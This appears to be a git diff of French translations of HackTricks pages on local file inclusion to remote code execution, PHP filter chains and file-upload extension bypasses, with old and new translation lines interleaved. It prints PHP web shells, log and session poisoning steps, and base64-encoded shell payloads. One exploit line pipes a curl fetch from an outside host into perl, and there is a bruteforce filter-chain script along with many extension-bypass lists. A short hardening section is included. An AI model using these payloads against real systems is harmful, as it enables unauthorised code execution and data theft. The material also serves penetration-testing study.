> Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin de fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais dont vous ne verrez pas le contenu (comme un simple appel à **`file()`**) et que le contenu n'est pas affiché.
> Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin du fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais où vous ne verrez pas le contenu du fichier (comme un simple appel à **`file()`**) car le contenu n'est pas affiché.
Dans [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) il est expliqué comment a blind path traversal peut être abusé via PHP filter pour **exfiltrer le contenu d'un fichier via un error oracle**.
Dans [**cet article incroyable**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) il est expliqué comment un blind path traversal peut être abusé via un filtre PHP pour **exfiltrer le contenu d'un fichier via un error oracle**.
En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier tellement **gros** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**.
En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier tellement **grand** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**.
Ensuite, afin de leak le premier caractère, le filter **`dechunk`** est utilisé avec d'autres comme **base64** ou **rot13** et finalement les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **placer d'autres caractères au beggining et les leak**.
Ensuite, afin de leak le premier caractère, le filtre **`dechunk`** est utilisé avec d'autres comme **base64** ou **rot13** et enfin les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour placer d'autres caractères au début et les leak.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
@ -427,19 +428,19 @@ Pour les détails techniques, consultez l'article mentionné !
### Arbitrary File Write via Path Traversal (Webshell RCE)
Quand du code côté serveur qui ingère/charge des fichiers construit le chemin de destination en utilisant des données contrôlées par l'utilisateur (par ex. un filename ou une URL) sans canonicaliser ni valider, des segments `..` et des chemins absolus peuvent s'échapper du répertoire prévu et provoquer une écriture de fichier arbitraire. Si vous pouvez placer le payload sous un répertoire accessible depuis le web, vous obtenez généralement une RCE non authentifiée en déposant un webshell.
Quand du code côté serveur qui ingère/télécharge des fichiers construit le chemin de destination en utilisant des données contrôlées par l'utilisateur (par ex., un nom de fichier ou une URL) sans canonicaliser ni valider, des segments `..` et des chemins absolus peuvent s'échapper du répertoire prévu et provoquer une écriture de fichier arbitraire. Si vous pouvez placer le payload dans un répertoire exposé sur le web, vous obtenez généralement une RCE non authentifiée en déposant un webshell.
Flux d'exploitation typique :
- Identifier un write primitive dans un endpoint ou un background worker qui accepte un path/filename et écrit du contenu sur le disque (par ex. ingestion pilotée par message, handlers de commandes XML/JSON, extracteurs ZIP, etc.).
- Déterminer les répertoires exposés au web. Exemples courants :
Typical exploitation workflow:
- Identifier un primitive d'écriture dans un endpoint ou un background worker qui accepte un path/filename et écrit du contenu sur le disque (par ex., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Déterminer les répertoires exposés sur le web. Exemples courants :
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Construire un chemin de traversal qui sort du répertoire de stockage prévu vers le webroot, et inclure le contenu de votre webshell.
- Parcourir le payload déposé et exécuter des commandes.
- Concevoir un chemin de traversal qui sort du répertoire de stockage prévu vers le webroot, et inclure le contenu de votre webshell.
- Accéder via le navigateur au payload déposé et exécuter des commandes.
Remarques :
- Le service vulnérable qui effectue l'écriture peut écouter sur un port non-HTTP (par ex. un écouteur JMF XML sur TCP 4004). Le portail web principal (port différent) servira ensuite votre payload.
Notes:
- Le service vulnérable qui effectue l'écriture peut écouter sur un port non-HTTP (par ex., un JMF XML listener sur TCP 4004). Le portail web principal (port différent) servira ensuite votre payload.
- Sur les stacks Java, ces écritures de fichiers sont souvent implémentées avec une simple concaténation `File`/`Paths`. L'absence de canonicalisation/allow-listing est la faille principale.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
@ -466,26 +467,26 @@ in.transferTo(out);
</Command>
</JMF>
```
Durcissement qui empêche cette classe de bugs :
- Résoudre vers un chemin canonique et vérifier qu'il est un descendant d'un répertoire de base sur liste blanche.
Mesures de durcissement qui empêchent cette classe de vulnérabilités :
- Résoudre vers un chemin canonique et vérifier qu'il est un descendant d'un répertoire de base autorisé.
- Rejeter tout chemin contenant `..`, des racines absolues, ou des lettres de lecteur ; préférer des noms de fichiers générés.
- Exécuter le writer avec un compte à faibles privilèges et séparer les répertoires d'écriture des racines servies.
- Exécuter le processus d'écriture avec un compte à faibles privilèges et séparer les répertoires d'écriture des racines servies.
## Remote File Inclusion
Expliqué précédemment, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
### Par le fichier de log Apache/Nginx
Si le serveur Apache ou Nginx est **vulnérable à LFI** dans la fonction include vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, d'insérer dans le **user agent** ou dans un **GET parameter** un php shell comme **`<?php system($_GET['c']); ?>`** et d'inclure ce fichier
Si le serveur Apache ou Nginx est **vulnérable à LFI** via la fonction include, vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, d'insérer dans le **user agent** ou dans un **paramètre GET** un php shell comme **`<?php system($_GET['c']); ?>`** puis d'inclure ce fichier
> [!WARNING]
> Notez que **si vous utilisez des guillemets doubles** pour le shell au lieu de **guillemets simples**, les guillemets doubles seront modifiés en la chaîne "_**quote;**_", **PHP lèvera une erreur** et **rien d'autre ne sera exécuté**.
> Notez que **si vous utilisez des guillemets doubles** pour le shell au lieu de **guillemets simples**, les guillemets doubles seront modifiés pour la chaîne "_**quote;**_", **PHP renverra une erreur** et **rien d'autre ne sera exécuté**.
>
> De plus, assurez-vous d'**écrire correctement le payload** sinon PHP générera une erreur à chaque tentative de chargement du fichier de log et vous n'aurez pas de seconde opportunité.
> De plus, assurez-vous d'**écrire correctement le payload** sinon PHP générera une erreur à chaque tentative de chargement du fichier de log et vous n'aurez pas de seconde chance.
Cela peut aussi être fait dans d'autres logs mais **faites attention,** le code à l'intérieur des logs peut être URL-encodé et cela peut détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé dans les logs. Le PHPShell peut être inséré dans cet en-tête.\
Autres chemins de log possibles:
Cela peut aussi être fait dans d'autres logs mais **faites attention,** le code à l'intérieur des logs peut être encodé en URL et cela pourrait détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé dans les logs. Le PHPShell peut être inséré dans cet en-tête.\
Autres chemins de logs possibles:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -499,25 +500,25 @@ Autres chemins de log possibles:
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Par e-mail
### Via Email
**Envoyer un mail** à un compte interne (user@localhost) contenant votre payload PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayer d'inclure le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
**Envoyez un mail** à un compte interne (user@localhost) contenant votre PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` et essayez d'inclure le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
### Via /proc/*/fd/*
### Via /proc/\*/fd/\*
1. Upload beaucoup de shells (par exemple : 100)
2. Inclure [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être récupéré par brute force) et $FD le descripteur de fichier (peut être récupéré par brute force aussi)
1. Upload un grand nombre de shells (par exemple : 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être brute forced) et $FD le file descriptor (peut aussi être brute forced)
### Via /proc/self/environ
Comme pour un fichier de log, envoyez le payload dans le User-Agent, il sera reflété à l'intérieur du fichier /proc/self/environ
Comme un fichier de log, envoyez le payload dans le User-Agent, il sera reflété dans le fichier /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (e.g : `<?php system($_GET['c']); ?>` ).
Si vous pouvez upload un fichier, injectez-y simplement le shell payload (e.g : `<?php system($_GET['c']); ?>` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
@ -525,18 +526,18 @@ Pour que le fichier reste lisible, il est préférable d'injecter dans les méta
### Via téléversement d'un fichier ZIP
Téléversez un fichier ZIP contenant un PHP shell compressé et accédez :
Téléversez un fichier ZIP contenant un PHP shell compressé et accédez à :
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP sessions
Vérifiez si le site web utilise PHP Session (PHPSESSID)
Vérifiez si le site utilise PHP Session (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
Dans PHP, ces sessions sont stockées dans les fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_.
En PHP, ces sessions sont stockées dans _/var/lib/php5/sess\\_\[PHPSESSID]\_ fichiers
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -545,32 +546,32 @@ Définissez le cookie sur `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Utilisez la LFI pour inclure le fichier de session PHP
Utilisez le LFI pour inclure le fichier de session PHP
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
Si ssh est actif, vérifiez quel utilisateur est en cours d'utilisation (/proc/self/status & /etc/passwd) et tentez d'accéder à **\<HOME>/.ssh/id_rsa**
Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à **\<HOME>/.ssh/id_rsa**
### **Via** **vsftpd** _**logs**_
Les logs du serveur FTP vsftpd se trouvent dans _**/var/log/vsftpd.log**_. Dans le cas où une vulnérabilité Local File Inclusion (LFI) est présente et qu'un accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
Les logs du serveur FTP vsftpd se trouvent à _**/var/log/vsftpd.log**_. Dans le scénario où une vulnérabilité Local File Inclusion (LFI) existe, et que l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
1. Injectez un payload PHP dans le champ du nom d'utilisateur lors de la connexion.
1. Injectez un payload PHP dans le champ username lors du processus de login.
2. Après l'injection, utilisez la LFI pour récupérer les logs du serveur depuis _**/var/log/vsftpd.log**_.
### Via php base64 filter (using base64)
Comme montré dans [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter ignore simplement les caractères non-base64. Vous pouvez utiliser cela pour bypasser la vérification d'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera le "." et appendra "php" au base64. Voici un exemple de payload :
Comme montré dans [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter ignore simplement les caractères non-base64. Vous pouvez utiliser cela pour bypasser la vérification de l'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera le "." et append "php" au base64. Voici un exemple de payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (aucun fichier nécessaire)
### Via php filters (pas besoin de fichier)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Ce qui signifie essentiellement que vous pouvez **generate arbitrary php code** pour l'include **without needing to write** it into a file.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **php filters** pour générer un contenu arbitraire en sortie. Ce qui signifie essentiellement que vous pouvez **generate arbitrary php code** pour l'include **sans avoir besoin de l'écrire** dans un fichier.
{{#ref}}
@ -579,16 +580,16 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Téléversez** un fichier qui sera stocké comme **temporaire** dans `/tmp`, puis dans la **même requête**, provoquez un **segmentation fault**, et alors le **fichier temporaire ne sera pas supprimé** et vous pourrez le rechercher.
**Upload** un fichier qui sera stocké comme **temporaire** dans `/tmp`, puis dans la **même requête,** provoquez un **segmentation fault**, et ensuite le **fichier temporaire ne sera pas supprimé** et vous pourrez le retrouver.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Via Nginx temp file storage
### Via Nginx stockage de fichiers temporaires
Si vous trouvez une **Local File Inclusion** et que **Nginx** fonctionne devant PHP, vous pourriez obtenir une RCE avec la technique suivante :
Si vous avez trouvé une **Local File Inclusion** et que **Nginx** est en frontal de PHP, vous pourriez obtenir une RCE avec la technique suivante :
{{#ref}}
@ -597,7 +598,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Si vous trouvez une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans des données **multipart POST**, PHP activera la session pour vous. Vous pouvez abuser de cela pour obtenir une RCE :
Si vous avez trouvé une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans des données **multipart POST**, PHP **activera la session pour vous**. Vous pouvez abuser de cela pour obtenir une RCE :
{{#ref}}
@ -606,7 +607,7 @@ via-php_session_upload_progress.md
### Via temp file uploads in Windows
Si vous trouvez une **Local File Inclusion** et que le serveur tourne sous **Windows**, vous pourriez obtenir une RCE :
Si vous avez trouvé une **Local File Inclusion** et que le serveur tourne sous **Windows**, vous pourriez obtenir une RCE :
{{#ref}}
@ -615,13 +616,13 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. De plus, il est possible de passer des arguments au script via l'URL car il est indiqué que si un paramètre d'URL n'a pas de `=`, il doit être utilisé comme argument. Voir aussi [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) et [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Ce qui suit exploite une vuln CRLF pour obtenir RCE (d'après [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Ce qui suit exploite une vuln CRLF pour obtenir une RCE (depuis [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -630,7 +631,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Via phpinfo() (file_uploads = on)
Si vous avez trouvé une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file_uploads = on vous pouvez obtenir RCE :
Si vous trouvez une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file_uploads = on, vous pouvez obtenir RCE :
{{#ref}}
@ -639,7 +640,7 @@ lfi2rce-via-phpinfo.md
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Si vous avez trouvé une **Local File Inclusion** et que vous **pouvez exfiltrer le chemin** du fichier temporaire MAIS que le **server** **vérifie** si le **fichier à inclure contient des balises PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Race Condition** :
Si vous trouvez une **Local File Inclusion** et que vous **pouvez exfiltrer le path** du fichier temporaire MAIS que le **server** vérifie si le **fichier à inclure contient des balises PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Race Condition** :
{{#ref}}
@ -648,23 +649,23 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Via eternal waiting + bruteforce
If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file:
Si vous pouvez abuser de la LFI pour **téléverser des fichiers temporaires** et faire que le server **bloque** l'exécution PHP, vous pouvez alors **brute force** les noms de fichiers pendant des heures pour trouver le fichier temporaire :
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### Vers une erreur fatale
### To Fatal Error
Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même fichier 2 fois pour déclencher cette erreur).
Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même fichier 2 fois pour provoquer cette erreur).
**Je ne sais pas à quoi cela sert mais ça pourrait l'être.**\
_Même si vous provoquez une erreur fatale PHP, les fichiers temporaires PHP uploadés sont supprimés._
**Je ne sais pas en quoi c'est utile mais ça pourrait l'être.**\
_Même si vous provoquez un PHP Fatal Error, les fichiers temporaires PHP téléversés sont supprimés._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Références
## References
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
@ -673,6 +674,7 @@ _Même si vous provoquez une erreur fatale PHP, les fichiers temporaires PHP upl
- [watchTowr We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#file}}
EN-Local-File-Inclusion-1.pdf

View File

@ -2,38 +2,39 @@
{{#include ../../banners/hacktricks-training.md}}
## Intro
Ce [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explique que vous pouvez utiliser **des filtres php pour générer du contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **php filters to generate arbitrary content** en sortie. Ce qui signifie essentiellement que vous pouvez **generate arbitrary php code** pour l'include **without needing to write** ce code dans un fichier.
Fondamentalement, l'objectif du script est de **générer une chaîne Base64** au **début** du fichier qui sera **finalement décodée** fournissant la charge utile souhaitée qui sera **interprétée par `include`**.
L'objectif du script est essentiellement de **générer une Base64** chaîne au **début** du fichier qui sera **finalement décodée** fournissant le payload désiré qui sera **interprété par `include`**.
Les bases pour faire cela sont :
- `convert.iconv.UTF8.CSISO2022KR` ajoutera toujours `\x1b$)C` au début de la chaîne
- `convert.base64-decode` est extrêmement tolérant, il ignorera essentiellement tous les caractères qui ne sont pas des base64 valides. Il pose quelques problèmes s'il trouve des "=" inattendus, mais ceux-ci peuvent être supprimés avec le filtre `convert.iconv.UTF8.UTF7`.
- `convert.iconv.UTF8.CSISO2022KR` ajoutera toujours en préfixe `\x1b$)C` à la chaîne
- `convert.base64-decode` est extrêmement tolérant, il ignorera essentiellement tous les caractères qui ne sont pas valides en base64. Il pose quelques problèmes s'il trouve des "=" inattendus mais ceux-ci peuvent être supprimés avec le filtre `convert.iconv.UTF8.UTF7`.
La boucle pour générer du contenu arbitraire est :
1. ajouter `\x1b$)C` à notre chaîne comme décrit ci-dessus
2. appliquer une chaîne de conversions iconv qui laisse notre base64 initial intacte et convertit la partie que nous venons d'ajouter en une chaîne où le seul caractère base64 valide est la prochaine partie de notre code php encodé en base64
3. décoder en base64 et réencoder en base64 la chaîne, ce qui supprimera tout déchet entre les deux
4. Revenir à 1 si le base64 que nous voulons construire n'est pas encore terminé
5. décoder en base64 pour obtenir notre code php
1. préfixer `\x1b$)C` à notre chaîne comme décrit cidessus
2. appliquer une chaîne de conversions iconv qui laisse notre base64 initial intact et convertit la partie que nous venons de préfixer en une chaîne où le seul caractère base64 valide est la prochaine partie de notre code php encodé en base64
3. base64-decode et base64-encode la chaîne ce qui supprimera tout garbage intermédiaire
4. revenir à 1 si la base64 que nous voulons construire n'est pas encore terminée
5. base64-decode pour obtenir notre code php
> [!WARNING]
> **Les inclusions** font généralement des choses comme **ajouter ".php" à la fin** du fichier, ce qui pourrait compliquer l'exploitation de cela car vous auriez besoin de trouver un fichier .php avec un contenu qui ne tue pas l'exploit... ou vous **pourriez simplement utiliser `php://temp` comme ressource** car cela peut **avoir n'importe quoi ajouté dans le nom** (comme +".php") et cela permettra toujours à l'exploit de fonctionner !
> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work!
## Comment ajouter également des suffixes aux données résultantes
## How to add also suffixes to the resulting data
[**Ce writeup explique**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) comment vous pouvez toujours abuser des filtres PHP pour ajouter des suffixes à la chaîne résultante. C'est génial si vous avez besoin que la sortie ait un format spécifique (comme json ou peut-être ajouter des octets magiques PNG)
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. C'est utile si vous avez besoin que la sortie ait un format spécifique (comme json ou peutêtre en ajoutant des octets magiques PNG)
## Outils automatiques
## Automatic Tools
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(peut ajouter des suffixes)**
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## Script complet
## Full script
```python
import requests
@ -95,7 +96,7 @@ print(r.text)
```
### Améliorations
Le script précédent est limité aux caractères base64 nécessaires pour cette charge utile. Par conséquent, j'ai créé mon propre script pour **bruteforcer tous les caractères base64** :
Le script précédent est limité aux caractères base64 nécessaires pour ce payload. J'ai donc créé mon propre script pour **bruteforce tous les caractères base64** :
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -250,9 +251,10 @@ find_vals($init);
}
?>
```
## Plus de Références
## Références supplémentaires
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,27 +1,27 @@
# Téléchargement de fichiers
# Téléversement de fichiers
{{#include ../../banners/hacktricks-training.md}}
## Méthodologie générale de téléchargement de fichiers
## Méthodologie générale - Téléversement de fichiers
Autres extensions utiles :
- **PHP** : _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Fonctionnement dans PHPv8** : _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **ASP** : _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp :** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion :** _.cfm, .cfml, .cfc, .dbm_
- **Flash** : _.swf_
- **Perl** : _.pl, .cgi_
- **Serveur Web Erlang Yaws** : _.yaws_
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
- **Flash**: _.swf_
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Contourner les vérifications des extensions de fichiers
### Contourner les contrôles d'extension de fichier
1. Si applicable, **vérifiez** les **extensions précédentes.** Testez-les également en utilisant des **lettres majuscules** : _pHp, .pHP5, .PhAr ..._
2. _Vérifiez **en ajoutant une extension valide avant** l'extension d'exécution (utilisez également les extensions précédentes) :_
1. Si ils s'appliquent, **vérifiez** les **extensions précédentes.** Testez-les aussi en utilisant des **majuscules**: _pHp, .pHP5, .PhAr ..._
2. _Vérifiez **l'ajout d'une extension valide avant** l'extension d'exécution (utilisez aussi les extensions précédentes):_
- _file.png.php_
- _file.png.Php5_
3. Essayez d'ajouter **des caractères spéciaux à la fin.** Vous pouvez utiliser Burp pour **bruteforcer** tous les **caractères ascii** et **Unicode**. (_Notez que vous pouvez également essayer d'utiliser les **extensions précédemment** mentionnées_)
3. Essayez d'ajouter des **caractères spéciaux à la fin.** Vous pouvez utiliser Burp pour **bruteforcer** tous les caractères **ascii** et **Unicode**. (_Note: vous pouvez aussi essayer d'utiliser les **extensions** précédemment mentionnées_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Autres extensions utiles :
- _file._
- _file.php...._
- _file.pHp5...._
4. Essayez de contourner les protections **en trompant le parseur d'extension** du côté serveur avec des techniques comme **doubler** l'**extension** ou **ajouter des données inutiles** (**octets nuls**) entre les extensions. _Vous pouvez également utiliser les **extensions précédentes** pour préparer un meilleur payload._
4. Essayez de contourner les protections en **trompant le parseur d'extensions** côté serveur avec des techniques comme **doubler** l'**extension** ou **ajouter des données inutiles** (octets **null**) entre les extensions. _Vous pouvez aussi utiliser les **extensions précédentes** pour préparer un meilleur payload._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,65 +40,65 @@ Autres extensions utiles :
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Ajoutez **une autre couche d'extensions** à la vérification précédente :
5. Ajoutez **une autre couche d'extensions** aux tests précédents :
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Essayez de mettre l'**extension exec avant l'extension valide** et priez pour que le serveur soit mal configuré. (utile pour exploiter les mauvaises configurations d'Apache où tout avec l'extension **_**.php**_**, mais **pas nécessairement se terminant par .php** exécutera du code) :
- _ex : file.php.png_
7. Utilisation de **flux de données alternatifs NTFS (ADS)** dans **Windows**. Dans ce cas, un caractère deux-points “:” sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par exemple, “file.asax:.jpg”). Ce fichier pourrait être modifié plus tard en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif “**::$data**” peut également être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un caractère point après ce motif pourrait également être utile pour contourner d'autres restrictions (par exemple, “file.asp::$data.”)
